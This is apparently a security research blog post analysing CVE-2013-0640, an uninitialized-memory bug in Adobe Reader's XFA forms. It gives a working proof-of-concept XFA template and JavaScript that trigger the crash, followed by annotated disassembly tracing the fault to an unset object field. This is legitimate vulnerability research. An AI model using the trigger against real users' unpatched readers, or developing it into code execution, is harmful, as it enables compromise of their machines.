CVE-2013-0640: Adobe Reader XFA oneOfChild Un-initialized memory vulnerability (part 1)

Published 26/09/2013 | By MTB

This document aims to present a technical report of the CVE-2013-0640 vulnerability targeting Adobe Reader version 9, 10 and 11. It was first spotted in February 2013 and has been used actively in the wild. This is the first article of a set. It covers the full detailed analysis of the bug.

Adobe Reader is an application software developed by Adobe Systems to view files in Portable Document Format (PDF).

Adobe XML forms architecture (XFA) are XML specifications for forms to be embedded in a PDF document. There were first introduced in the PDF 1.5 file format specification. They are not compatible with AcroForms. The form itself is saved internally in the PDF. There is a bug when dealing with the forms in a specific way.

Binary Information

Name:	AcroForm_api
Base address:	0×20800000
File version:	9.5.0.270
Default path:	C:\Program Files\Adobe\Reader 9.0\Reader\plug_ins\AcroForm.api

Analysis

Trigger

The proof of concept consists of an embedded XFA form that is being manipulated using JavaScript.

The form by itself contains two subforms:

- The first contains a choiceList object.

- The second one contains a simple draw object.

```
<template xmlns="http://www.xfa.org/schema/xfa-template/2.8/">
  <subform name="form1">
    <pageSet>
      <pageArea name="page1">
        <contentArea />
        <subform>
          <field name="field0">
            <ui><choiceList></choiceList></ui>
          </field>
        </subform>
      </pageArea>
    </pageSet>
    <subform>
      <draw name="rect1" />
    </subform>
  </subform>
</template>
```

In order to trigger the bug the JavaScript code first saves a reference to the choiceList object for later use. Then it changes the property keep.previous of the draw object in the second subform to contentArea. Once done, the choiceList object is re-attached to the first subform. This triggers the bug.

```
function Trigger
{
  MessWithTheMemory();
  xfa.resolveNode("xfa[0].form[0].form1[0].#pageSet[0].page1[0].#subform[0].field0[0].#ui").oneOfChild = choiceList;
}
var choiceList = null;
function Start()
{
  choiceList = xfa.resolveNode("xfa[0].form[0].form1[0].#pageSet[0].page1[0].#subform[0].field0[0].#ui[0].#choiceList[0]");
  xfa.resolveNode("xfa[0].form[0].form1[0].#subform[0].rect1").keep.previous = "contentArea";
  ddd = app.setTimeOut("Trigger();", 1);
}
Start();
```

Binary analysis

Adobe Reader crashes in the AcroForm_api module. Just before the crash a function located at address 0x20907FA0 is called. For convenience this function is called UseTheUninitializedValue. First it calls a function at 0x209D76AE named GetTheBrokenObject. It then increments an attribute of the object, probably a reference count. Finally the attribute at 0x3c is evaluated. If is is not NULL a function at 0x209063B4 named crash_here is called using the object attribute at 0x3c.

```
.text:20907FA0 UseTheUninitializedValue
.text:20907FA0
.text:20907FA0 var_10        = dword ptr -10h
.text:20907FA0 var_4         = dword ptr -4g
.text:20907FA0 arg_0         = dword ptr  8
.text:20907FA0 arg_4         = dword ptr  0Ch
.text:20907FA0 arg_8         = dword ptr  10h
.text:20907FA0
.text:20907FA0           push    4
.text:20907FA2           mov     eax, offset sub_20CE45C9
```

```
.text:20907FA7            call    __EH_prolog3
.text:20907FAC            mov     ebx, ecx
.text:20907FAE            and     [ebp+var_10], 0
.text:20907FB2            push    [ebp+arg_8]
.text:20907FB5            lea     eax, [ebp+arg_8]
.text:20907FB8            push    [ebp+arg_4]
.text:20907FBB            push    eax
.text:20907FBC            call    GetTheBrokenObject // Get the uninitialized object from here.
.text:20907FC1            mov     esi, [eax]
.text:20907FC3            test    esi, esi
.text:20907FC5            mov     [ebp+arg_4], esi
.text:20907FC8            jz      short loc_20907FCD
.text:20907FCA            inc     dword ptr [esi+4] // Reference counter?
.text:20907FCD
.text:20907FCD loc_20907FCD:
.text:20907FCD            lea     ecx, [ebp+arg_8]
.text:20907FD0            mov     [ebp+var_4], 1
.text:20907FD7            call    sub_208A7FA1
.text:20907FDC            mov     edi, [ebx+3Ch]
.text:20907FDF            test    edi, edi
.text:20907FE1            jz      short loc_20908012
.text:20907FE3            cmp     dword ptr [esi+3Ch], 0 // If 0, skip the call.
.text:20907FE7            jz      short loc_20907FF2
.text:20907FE9            mov     ecx, [esi+3Ch] // Uninitialized memory here.
.text:20907FEC            push    ebx
.text:20907FED            call    crash_here
```

The value coming from ESI+0x3c is used as a pointer. However the value is invalid, Adobe Reader crashes when dereferencing it.

```
.text:209063B4 crash_here
.text:209063B4
.text:209063B4 arg_0         = dword ptr  4
.text:209063B4
.text:209063B4            push    esi
.text:209063B5            push    edi
.text:209063B6            mov     edi, ecx // EDI is invalid.
.text:209063B8            mov     esi, [edi+40h]
.text:209063BB            test    esi, esi
.text:209063BD            jz      short loc_209063FE

...

.text:209063FE loc_209063FE:
.text:209063FE
.text:209063FE            pop     edi
.text:209063FF            pop     esi
.text:20906400            retn    4
.text:20906400 crash_here     endp
```

In order to find the reason EDI contains an invalid value, we need to go back to the constructor of the object.

It can be found at 0x209D8D71 in a function named InitializeBrokenObject. This function is the constructor of the object. As seen from the disassembled code, the value at 0x3c is never initialized.

```
.text:209D8D71 InitializeBrokenObject
```

```
.text:209D8D71
.text:209D8D71 arg_0       = dword ptr  4
.text:209D8D71 arg_4       = dword ptr  8
.text:209D8D71 arg_8       = dword ptr  0Ch
.text:209D8D71
.text:209D8D71             push   esi
.text:209D8D72             push   [esp+4+arg_0]
.text:209D8D76             mov    esi, ecx
.text:209D8D78             call   sub_209E7137 // ECX comes from the second argument.
.text:209D8D7D             mov    ecx, [esp+4+arg_4] // vtable.
.text:209D8D81             mov    dword ptr [esi], offset broken_object
.text:209D8D87             mov    eax, [ecx]
.text:209D8D89             xor    edx, edx
.text:209D8D8B             cmp    eax, edx
.text:209D8D8D             mov    [esi+24h], eax
.text:209D8D90             jz     short loc_209D8D95
.text:209D8D92             inc    dword ptr [eax+4]
.text:209D8D95
.text:209D8D95 loc_209D8D95:   // Offset 0x3c is not set.
.text:209D8D95             mov    eax, [esp+4+arg_8]
.text:209D8D99             mov    [esi+2Ch], eax
.text:209D8D9C             mov    [esi+30h], edx
.text:209D8D9F             mov    [esi+34h], edx
.text:209D8DA2             mov    [esi+38h], edx
.text:209D8DA5             mov    eax, off_20E93D74
.text:209D8DAA             and    dword ptr [esi+28h], 0FFFFFFF0h
.text:209D8DAE             mov    [esi+0Ch], eax
.text:209D8DB1             mov    dword ptr [esi+10h], 0C9h
.text:209D8DB8             mov    ecx, [ecx]
.text:209D8DBA             cmp    ecx, edx
.text:209D8DBC             jz     short loc_209D8DC1
.text:209D8DBE             mov    [ecx+3Ch], esi
.text:209D8DC1
.text:209D8DC1 loc_209D8DC1:
.text:209D8DC1             mov    eax, esi
.text:209D8DC3             pop    esi
.text:209D8DC4             retn   0Ch
.text:209D8DC4 InitializeBrokenObject endp
```

Depending on the previous memory usage, the value at ESI+0x3C may vary. If it is 0, the call is skipped and nothing happens. Otherwise a crash may occur.

Conclusion

This concludes the detailed analysis of the bug. The goal next is to replace the un-initialized data by fully controlled values and to leverage the bug into code execution. This involves a bit of heap massage and it will be the main focus of the second article.

References

- Adobe's advisory: APSA13-02
- Download target version: Adobe Acrobat 10 for Windows
- XFA Specification

Request to be added to the Portcullis Labs newsletter

We will email you whenever a new tool, or post is added to the site.

Your Name (required)

Your Email (required)

Subscribe

Research and Development

- Presentations
- Tools
- Whitepapers
- Downloads

Company

- Contact Us
- Portcullis Computer Security Services

Get In Touch

Offices in London and San Francisco

Phone UK: + 44 20 8868 0098
Fax: UK + 44 20 8868 0017
Email UK: enquiries@portcullis-security.com

Phone US: +1 415 874 3101
Email US: enquiries@portcullis-security.us

Follow Us